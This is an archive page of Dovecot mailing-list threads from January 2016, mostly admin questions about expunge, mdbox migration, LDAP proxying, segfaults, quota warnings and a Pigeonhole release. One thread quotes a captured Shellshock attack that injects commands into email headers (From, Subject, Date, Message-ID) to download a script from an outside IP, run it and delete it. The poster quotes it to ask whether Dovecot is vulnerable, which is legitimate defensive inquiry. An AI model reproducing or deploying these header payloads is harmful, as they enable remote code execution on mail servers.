- dovecot - dovecot.org

Correct Way to Run expunge for All?
by Haravikk 29 Jan '16

29 Jan '16

So as part of my daily mailbox maintenance I have the following command: doveadm expunge -A DELETED i.e- I’m only expunging messages that have been specifically marked as deleted. I also only do this *after* running doveadm purge, as this means that there is at least a 24 hour window between a message being marked as deleted, and it being gone forever. However I get the following error message: Fatal: expunge: To avoid accidents, search query must contain MAILBOX in all search branches While I can see the logic in this, it isn’t an accidental use of this command, so who do I force it to proceed? Going forward I’d like to recommend that expunge -A DELETED should be allowed, as it doesn’t seem like an especially dangerous form of the command, particularly with mdboxes where the messages won’t be removed until the purge step. Either that or there should be a flag to force the command when you know it isn’t an accident; anyone adding this to all their queries deserves the damage they inflict =)

2 1

Maildir to mdbox conersion size issue
by Petr Bousek 28 Jan '16

28 Jan '16

Hello, I have issue with dovecot 2.2.13 I want to change all Maildirs to mdbox format and I do it per partes, so I change mail_location for user (in sql), than I use doveadm sync -u user path_to_maildir and everything works mostly fine. But now I found that when I migrate quite huge Maildir (about 24G of mails) to mdbox, after sync the final mdbox is twice as big as source Maildir (48GB). I tried to find duplicities, but didn't find any. Is there any reason why mdbox consume so much data? Or I do something wrong? Does somebody have same experience? Thanks Petr

2 2

Dovecot LDAP host - hostip resolution and alternative
by Andrey Fesenko 28 Jan '16

28 Jan '16

dovecot-2.2.10-5.el7, CentOS Linux release 7.2.1511 (Core) Users stored in LDAP, backend name set his hostname (need for TLS on backend) auth: Debug: passdb out: PASS 1 user=mail proxy=yes host=backend starttls=yes hostip=IPv6-public how algorithm choice IP for hostip, and whether it is possible to implement it repeated request? Now I'm understand the following algorithm, DNS IPv6, /etc/hosts IPv4 single not alternative resolution. If my backend have only local address this FAIL

1 0

segfaults with Dovecot 2.2.21
by Peer Heinlein 28 Jan '16

28 Jan '16

We're running Dovecot 2.2.21 from Stephan Bosch's build service on Dovecot 7.x. Everything's up2date. # 2.2.devel (7ab22fc): /etc/dovecot/dovecot.conf # Pigeonhole version 0.4.11 (71e908a) # OS: Linux 3.16.0-0.bpo.4-amd64 x86_64 Debian 7.9 root@mailimap01:/etc/dovecot/conf.d # apt-show-versions | grep dovecot debian-dovecot-auto-keyring/oldstable-auto uptodate 2010.01.30 dovecot-core/oldstable-auto uptodate 2:2.2.21-1~auto+66 dovecot-imapd/oldstable-auto uptodate 2:2.2.21-1~auto+66 dovecot-lmtpd/oldstable-auto uptodate 2:2.2.21-1~auto+66 dovecot-managesieved/oldstable-auto uptodate 2:2.2.21-1~auto+66 dovecot-mysql/oldstable-auto uptodate 2:2.2.21-1~auto+66 dovecot-pop3d/oldstable-auto uptodate 2:2.2.21-1~auto+66 dovecot-sieve/oldstable-auto uptodate 2:2.2.21-1~auto+66 But we have sefaults in our logfile. How can we debug and solve that? (Yes, I know Stephan Bosch's packages are autobuild at the edge, but we need this versions since Dovecot 7.0 has only Dovecot 2.2.7 available.) Peer Jan 21 22:39:20 mailimap01 dovecot: imap(p24062p6): Error: Raw backtrace: /usr/lib/dovecot/libdovecot.so.0(+0x838cf) [0x7fbe4e92b8cf] -> /usr/lib/dovecot/libdovecot.so.0(+0x8392e) [0x7fbe4e92b92e] -> /usr/lib/dovecot/libdovecot.so.0(i_fatal+0) [0x7fbe4e8d4aae] -> dovecot/imap [p24062p6 87.140.193.6 NOOP](client_continue_pending_input+0x132) [0x7fbe4f1125e2] -> /usr/lib/dovecot/libdovecot.so.0(io_loop_call_io+0x5b) [0x7fbe4e93eb0b] -> /usr/lib/dovecot/libdovecot.so.0(io_loop_handler_run_internal+0xd7) [0x7fbe4e93fee7] -> /usr/lib/dovecot/libdovecot.so.0(io_loop_handler_run+0x25) [0x7fbe4e93ebb5] -> /usr/lib/dovecot/libdovecot.so.0(io_loop_run+0x38) [0x7fbe4e93ed58] -> /usr/lib/dovecot/libdovecot.so.0(master_service_run+0x13) [0x7fbe4e8da4b3] -> dovecot/imap [p24062p6 87.140.193.6 NOOP](main+0x2d8) [0x7fbe4f105eb8] -> /lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xfd) [0x7fbe4e53bead] -> dovecot/imap [p24062p6 87.140.193.6 NOOP](+0xf03d) [0x7fbe4f10603d] Jan 21 22:46:41 mailimap01 dovecot: imap(p115951p1): Error: Raw backtrace: /usr/lib/dovecot/libdovecot.so.0(+0x838cf) [0x7fcd177d48cf] -> /usr/lib/dovecot/libdovecot.so.0(+0x8392e) [0x7fcd177d492e] -> /usr/lib/dovecot/libdovecot.so.0(i_fatal+0) [0x7fcd1777daae] -> dovecot/imap [p115951p1 93.204.210.91 FETCH](client_continue_pending_input+0x132) [0x7fcd17fbb5e2] -> /usr/lib/dovecot/libdovecot.so.0(io_loop_call_io+0x5b) [0x7fcd177e7b0b] -> /usr/lib/dovecot/libdovecot.so.0(io_loop_handler_run_internal+0xd7) [0x7fcd177e8ee7] -> /usr/lib/dovecot/libdovecot.so.0(io_loop_handler_run+0x25) [0x7fcd177e7bb5] -> /usr/lib/dovecot/libdovecot.so.0(io_loop_run+0x38) [0x7fcd177e7d58] -> /usr/lib/dovecot/libdovecot.so.0(master_service_run+0x13) [0x7fcd177834b3] -> dovecot/imap [p115951p1 93.204.210.91 FETCH](main+0x2d8) [0x7fcd17faeeb8] -> /lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xfd) [0x7fcd173e4ead] -> dovecot/imap [p115951p1 93.204.210.91 FETCH](+0xf03d) [0x7fcd17faf03d] Jan 21 22:51:48 mailimap01 dovecot: imap(p54862p14): Error: Raw backtrace: /usr/lib/dovecot/libdovecot.so.0(+0x838cf) [0x7fd798e628cf] -> /usr/lib/dovecot/libdovecot.so.0(+0x8392e) [0x7fd798e6292e] -> /usr/lib/dovecot/libdovecot.so.0(i_fatal+0) [0x7fd798e0baae] -> dovecot/imap [p54862p14 217.92.255.97 NOOP](client_continue_pending_input+0x132) [0x7fd7996495e2] -> /usr/lib/dovecot/libdovecot.so.0(io_loop_call_io+0x5b) [0x7fd798e75b0b] -> /usr/lib/dovecot/libdovecot.so.0(io_loop_handler_run_internal+0xd7) [0x7fd798e76ee7] -> /usr/lib/dovecot/libdovecot.so.0(io_loop_handler_run+0x25) [0x7fd798e75bb5] -> /usr/lib/dovecot/libdovecot.so.0(io_loop_run+0x38) [0x7fd798e75d58] -> /usr/lib/dovecot/libdovecot.so.0(master_service_run+0x13) [0x7fd798e114b3] -> dovecot/imap [p54862p14 217.92.255.97 NOOP](main+0x2d8) [0x7fd79963ceb8] -> /lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xfd) [0x7fd798a72ead] -> dovecot/imap [p54862p14 217.92.255.97 NOOP](+0xf03d) [0x7fd79963d03d] Jan 21 22:55:25 mailimap01 dovecot: imap(p142324p3): Error: Raw backtrace: /usr/lib/dovecot/libdovecot.so.0(+0x838cf) [0x7fcbf559d8cf] -> /usr/lib/dovecot/libdovecot.so.0(+0x8392e) [0x7fcbf559d92e] -> /usr/lib/dovecot/libdovecot.so.0(i_fatal+0) [0x7fcbf5546aae] -> dovecot/imap [p142324p3 80.153.228.104 NOOP NOOP](client_continue_pending_input+0x132) [0x7fcbf5d845e2] -> /usr/lib/dovecot/libdovecot.so.0(io_loop_call_io+0x5b) [0x7fcbf55b0b0b] -> /usr/lib/dovecot/libdovecot.so.0(io_loop_handler_run_internal+0xd7) [0x7fcbf55b1ee7] -> /usr/lib/dovecot/libdovecot.so.0(io_loop_handler_run+0x25) [0x7fcbf55b0bb5] -> /usr/lib/dovecot/libdovecot.so.0(io_loop_run+0x38) [0x7fcbf55b0d58] -> /usr/lib/dovecot/libdovecot.so.0(master_service_run+0x13) [0x7fcbf554c4b3] -> dovecot/imap [p142324p3 80.153.228.104 NOOP NOOP](main+0x2d8) [0x7fcbf5d77eb8] -> /lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xfd) [0x7fcbf51adead] -> dovecot/imap [p142324p3 80.153.228.104 NOOP NOOP](+0xf03d) [0x7fcbf5d7803d] -- Heinlein Support GmbH Schwedter Str. 8/9b, 10119 Berlin http://www.heinlein-support.de Tel: 030 / 405051-42 Fax: 030 / 405051-19 Zwangsangaben lt. §35a GmbHG: HRB 93818 B / Amtsgericht Berlin-Charlottenburg, Geschäftsführer: Peer Heinlein -- Sitz: Berlin

4 9

is dovecot vulnerable to this kind of attack?
by Louis Kowolowski 27 Jan '16

27 Jan '16

I found an interesting email that got caught in my spam quarantine. I’m wondering if dovecot is vulnerable to this kind of code execution (I’m aware that other components could be vulnerable, but this question is specifically targeting dovecot). The idea is to insert shell commands into various header fields that would get executed as part of the message processing/delivery. Examples include: From: () {:;};/bin/sh -c 'cd /tmp;curl -sO 62.75.175.145/ex.sh;lwp-download http: //62.75.175.145/ex.sh(a)nes.txt.com;, wget(a)nes.txt.com, 62.75.175.145/ex.sh(a)nes.txt.com;, fetch(a)nes.txt.com, 62.75.175.145/ex.sh(a)nes.txt.com;, sh(a)nes.txt.com, ex.sh(a)nes.txt.com;, rm(a)nes.txt.com, -fr(a)nes.txt.com, ex.*'@nes.txt.com, &(a)nes.txt.com; Subject:() { :; }; /bin/sh -c 'cd /tmp ;curl -sO 62.75.175.145/ex.sh;lwp-download http://62.75.175.145/ex.sh;wget 62.75.175.145/ex.sh;fetch 62.75.175.145/ex.sh;sh ex.sh;rm -fr ex.*' &; Date:() { :; }; /bin/sh -c 'cd /tmp ;curl -sO 62.75.175.145/ex.sh;lwp-download http://62.75.175.145/ex.sh;wget 62.75.175.145/ex.sh;fetch 62.75.175.145/ex.sh;sh ex.sh;rm -fr ex.*' &; Message-ID:() { :; }; /bin/sh -c 'cd /tmp ;curl -sO 62.75.175.145/ex.sh;lwp-download http://62.75.175.145/ex.sh;wget 62.75.175.145/ex.sh;fetch 62.75.175.145/ex.sh;sh ex.sh;rm -fr ex.*' &; The full message, should it be of interest, can be found here: https://dl.dropboxusercontent.com/u/17066730/interesting%20email.txt Thank you! -- Louis Kowolowski louisk(a)cryptomonkeys.org Cryptomonkeys: http://www.cryptomonkeys.com/ Making life more interesting for people since 1977

2 2

ot: data consumption IMAP vs POP
by voytek＠sbt.net.au 27 Jan '16

27 Jan '16

I have a domain with about 50 mailboxes, server is located here in AUS but most of the users are on a LAN is SEAsia location. They were using POP (with Thunderbird), I suggested then can use IMAP instead, so they did. now they are asking; "Looks like Imap is adding a lot to our internet bandwidth" I guess they have some bandwidth limitation on their link I think I can understand that IMAP would increase bandwidth requirement, didn't expect it to cause 'problems' is there any optimization or changes I can make to reduce that ? the b/w limitation are at the client LAN link any other suggestions ? thanks, V

6 7

Released Pigeonhole v0.4.12.rc1 for Dovecot v2.2.21
by Stephan Bosch 26 Jan '16

26 Jan '16

Hello Dovecot users, The last few releases had an annoying bug that made the Sieve editheader and imap4flags ineffective when multiple scripts were executed sequentially (sieve_before/sieve_after). That is why I am making a new release. Unlike the previous release, this release also adds a new feature: support for the Sieve extracttext extension. Changelog v0.4.12: + Implemented the Sieve extracttext extension (RFC 5703; Section 7). It is now possible to extract body text from a message into a variable. * Increased ABI version due to changes in the Sieve interpreter's object definitions. - multiscript: Fixed bug in handling of (implicit) keep; final keep action was always executed as though there was a failure. This caused the keep action to revert back to the initial message, causing editheader actions to be ignored. - managesieve-login: Fixed proxy to allow SASL mechanisms other than PLAIN. Before, the proxy would fail if the server did not support the PLAIN mechanism. - ldap storage: Prevent segfault occurring when assigning certain (global) configuration options. The release is available as follows: http://pigeonhole.dovecot.org/releases/2.2/rc/dovecot-2.2-pigeonhole-0.4.12… http://pigeonhole.dovecot.org/releases/2.2/rc/dovecot-2.2-pigeonhole-0.4.12… Refer to http://pigeonhole.dovecot.org and the Dovecot v2.x wiki for more information. Have fun testing this release candidate and don't hesitate to notify me when there are any problems. Regards, -- Stephan Bosch stephan(a)rename-it.nl

1 0

dsync: INBOX Can't be deleted
by Christoph Adomeit 26 Jan '16

26 Jan '16

Hi, I am Migrating an old cyrus mailserver to dovecot. in the old cyrus Mailserver all User Mailboxes are sub-mailboxes of their INBOX. I have to preserve that structure. During Migration with dsync I get these Errors: Error: Mailbox INBOX sync: mailbox_delete failed: INBOX can't be deleted Is there a way to work around these Errors ? Thanks Christoph

5 11

problem Dovecot 2.2.13 does not send the information on ending the quota to user
by gothic-folk＠mail.ru 25 Jan '16

25 Jan '16

Hi. I have Dovecot + Postfix + MySQL. Version of Postix: 2.11.3-1 Version of Dovecot: 2.2.13 Operations system is: Debian GNU/Linux 8.2 (jessie) Postfix have patched (patch VDA - http://vda.sourceforge.net) for using with quota, it means that file "maildirsize" in mail directory already exists and changed when add/delete mail. Quota for virtual box take in MySQL db. ########################## Problem: Dovecot does not send the information on ending the quota to user. ########################## # 2.2.13: /etc/dovecot/dovecot.conf # OS: Linux 2.6.32-042stab112.15 x86_64 Debian 8.2 ext4 auth_debug = yes auth_default_realm = mydomain.ru auth_mechanisms = plain login auth_realms = mydomain.ru debug_log_path = /var/log/dovecot-debug.log info_log_path = /var/log/dovecot.log lda_mailbox_autocreate = yes lda_mailbox_autosubscribe = yes log_path = /var/log/dovecot.log login_greeting = Welcome mydomain.ru" mail_debug = yes mail_gid = 1000 mail_location = maildir:/var/vmail/%n@%d mail_plugins = " quota" mail_uid = 1000 managesieve_notify_capability = mailto managesieve_sieve_capability = fileinto reject envelope encoded-character vacation subaddress comparator-i;ascii- numeric relational regex imap4flags copy include variables body enotify environment mailbox date ihave namespace inbox { inbox = yes list = yes location = mailbox Drafts { auto = subscribe special_use = \Drafts } mailbox Junk { auto = subscribe special_use = \Junk } mailbox Sent { auto = subscribe special_use = \Sent } mailbox Trash { auto = subscribe special_use = \Trash } prefix = type = private } passdb { args = /etc/dovecot/dovecot-sql.conf.ext driver = sql } plugin { quota = maildir:User quota quota_rule = *:storage=10M quota_rule2 = Trash:storage=+100M quota_rule3 = SPAM:ignore quota_warning = storage=90%% quota-warning 90 %u quota_warning2 = storage=80%% quota-warning 80 %u } protocols = pop3 imap quota_full_tempfail = yes service auth { unix_listener /var/spool/postfix/private/dovecot-smtp-auth { group = postfix mode = 0666 user = postfix } unix_listener auth-userdb { group = vmail mode = 0600 user = vmail } } service imap-login { inet_listener imap { port = 143 } inet_listener imaps { port = 993 ssl = yes } } service pop3-login { inet_listener pop3 { port = 110 } inet_listener pop3s { port = 995 ssl = yes } } service quota-warning { executable = script /etc/dovecot/quota.sh unix_listener quota-warning { user = vmail } user = vmail } ssl_cert = </etc/ssl/mydomain.ru.crt ssl_key = </etc/ssl/mydomain.ru.key userdb { args = /etc/dovecot/dovecot-sql.conf.ext driver = sql } protocol imap { mail_plugins = " quota imap_quota" } protocol pop3 { mail_plugins = quota } protocol lda { mail_plugins = " quota" } ##### quota.sh ##### #!/bin/sh PERCENT=$1 USER=$2 cat << EOF | /usr/lib/dovecot/dovecot-lda -d $USER -o "plugin/quota=maildir:User quota:noenforcing" From: aaa(a)mydomain.ru Subject: Quota warning $PERCENT% Your mailbox is now $PERCENT% full. Please remove unnecessary emails to avoid new mail loosing. EOF ##### Script has chmod 777 ##### root@mx:~# ls -la /etc/dovecot/quota.sh -rwxrwxrwx 1 vmail vmail 570 Jan 25 17:26 /etc/dovecot/quota.sh Check the script this command is successful: # /etc/dovecot/quota.sh 82 rrr(a)mydomain.ru (a letter is sent to rrr(a)mydomain.ru that box is filled to 82%) ##### dovecot-sql.conf.ext ##### driver = mysql connect = host=localhost dbname=postfix user=postfix password=xxxxxxx default_pass_scheme = MD5-CRYPT user_query = SELECT '/var/vmail/%n@%d' as home, 'maildir:/var/vmail/%n@%d'as mail, 1000 AS uid, 1000 AS gid, concat ('*:bytes=', quota) AS quota_rule FROM mailbox WHERE username = '%u' AND active = '1' password_query = SELECT username as user, password, '/var/vmail/%n@%d' as userdb_home, 'maildir:/var/vmail/%n@%d' as userdb_mail, 1000 as userdb_uid, 1000 as userdb_gid, concat('*:bytes=', quota) AS userdb_quota_rule FROM mailbox WHERE username = '%u' AND active = '1' ##### Check that the socket has a quota-warning: # lsof |grep quota-warning dovecot 28972 root 57u unix 0xffff8801861f7400 0t0 216184427 /var/run/dovecot/quota- warning ##### Verify that the plugin quota is running I doing like this: # doveadm -D -v quota get -u rrr(a)mydomain.ru Conclusion: doveadm(root): Debug: Loading modules from directory: /usr/lib/dovecot/modules doveadm(root): Debug: Module loaded: /usr/lib/dovecot/modules/lib10_quota_plugin.so doveadm(root): Debug: Loading modules from directory: /usr/lib/dovecot/modules/doveadm doveadm(root): Debug: Skipping module doveadm_acl_plugin, because dlopen() failed: /usr/lib/dovecot/modules/doveadm/lib10_doveadm_acl_plugin.so: undefined symbol: acl_user_module (this is usually intentional, so just ignore this message) doveadm(root): Debug: Skipping module doveadm_expire_plugin, because dlopen() failed: /usr/lib/dovecot/modules/doveadm/lib10_doveadm_expire_plugin.so: undefined symbol: expire_set_deinit (this is usually intentional, so just ignore this message) doveadm(root): Debug: Module loaded: /usr/lib/dovecot/modules/doveadm/lib10_doveadm_quota_plugin.so doveadm(root): Debug: Module loaded: /usr/lib/dovecot/modules/doveadm/lib10_doveadm_sieve_plugin.so doveadm(root): Debug: Skipping module doveadm_fts_lucene_plugin, because dlopen() failed: /usr/lib/dovecot/modules/doveadm/lib20_doveadm_fts_lucene_plugin.so: undefined symbol: lucene_index_iter_deinit (this is usually intentional, so just ignore this message) doveadm(root): Debug: Skipping module doveadm_fts_plugin, because dlopen() failed: /usr/lib/dovecot/modules/doveadm/lib20_doveadm_fts_plugin.so: undefined symbol: fts_backend_rescan (this is usually intentional, so just ignore this message) doveadm(asd(a)mydomain.ru): Debug: auth input: asd(a)mydomain.ru home=/var/vmail/asd(a)mydomain.ru mail=maildir:/var/vmail/asd@mydomain.ru uid=1000 gid=1000 quota_rule=*:bytes=5120000 doveadm(asd(a)mydomain.ru): Debug: Added userdb setting: mail=maildir:/var/vmail/asd@mydomain.ru doveadm(asd(a)mydomain.ru): Debug: Added userdb setting: plugin/quota_rule=*:bytes=5120000 doveadm(asd(a)mydomain.ru): Debug: Effective uid=1000, gid=1000, home=/var/vmail/asd(a)mydomain.ru doveadm(asd(a)mydomain.ru): Debug: Quota root: name=User quota backend=maildir args= doveadm(asd(a)mydomain.ru): Debug: Quota rule: root=User quota mailbox=* bytes=5120000 messages=0 doveadm(asd(a)mydomain.ru): Debug: Quota rule: root=User quota mailbox=Trash bytes=+104857600 messages=0 doveadm(asd(a)mydomain.ru): Debug: Quota rule: root=User quota mailbox=SPAM ignored doveadm(asd(a)mydomain.ru): Debug: Quota warning: bytes=4608000 (90%) messages=0 reverse=no command=quota-warning 90 asd(a)mydomain.ru doveadm(asd(a)mydomain.ru): Debug: Quota warning: bytes=4096000 (80%) messages=0 reverse=no command=quota-warning 80 asd(a)mydomain.ru doveadm(asd(a)mydomain.ru): Debug: Quota grace: root=User quota bytes=512000 (10%) doveadm(asd(a)mydomain.ru): Debug: Namespace inbox: type=private, prefix=, sep=, inbox=yes, hidden=no, list=yes, subscriptions=yes location=maildir:/var/vmail/asd@mydomain.ru doveadm(asd(a)mydomain.ru): Debug: maildir++: root=/var/vmail/asd(a)mydomain.ru, index=, indexpvt=, control=, inbox=/var/vmail/asd(a)mydomain.ru, alt= Quota name Type Value Limit % User quota STORAGE 4852 5000 97 User quota MESSAGE 10 - 0 ##### Those plugin is successfully loaded and checked. When removing/receiving emails percent of employment, respectively changes. I read in dovecot manual, that the notification send only when the quota border crossing - then I tested like this: Clears the box up to 60% and then send letters, which occupy about 5% more of allocated quota. And so the lead up to 95%. But reports of ending the quota not be sent. In what may be another problem? Thanks. ------------------ Serg

1 0

[Bug/Enhancement] doveadm user ignores -f option when performing a wildcard search
by Haravikk 25 Jan '16

25 Jan '16

The title mostly says it all on this one, but it seems that doveadm user has unique behaviour when a wildcard username is given, causing it to return a list of matching usernames in place of regular output, ignoring other command line options such as the -f (field) option. For example, I had hoped to use the following command in a script to easily get a list of all user home locations (excluding local users): doveadm user -f home *@* However the results are a list of usernames, rather than a list of home locations as I had hoped. I’ve tagged this thread as Bug/Enhancement as outputting a list of matched usernames is clearly the intended behaviour, but it could certainly be clarified, as could the fact that the -f option is ignored in this special case. I think that the correct “fix” here is to clarify in the documentation that wildcard matching is a separate use-case of this command in which the -f (and possibly other?) options are ignored and the results are always given as a list of matching usernames. It needs to be clear that doveadm user user(a)domain1.tld user(a)domain2.tld and doveadm user *@* are not equivalent, even if those are the only two users, as this differs from many other unix commands where wildcards are permitted, e.g- using rm with a wildcard is equivalent to adding all matching files to the command yourself. However, in future I’d like to see support for the -f option with wildcard matches as well, with -f user simply being the default. This would be much easier for a script inspecting user home directories, as for now my alternative is to use the wildcard match to get a list of names, then call dovecot user -f home <user> for each one to get their home location, which isn’t nearly as nice =) - Haravikk

1 0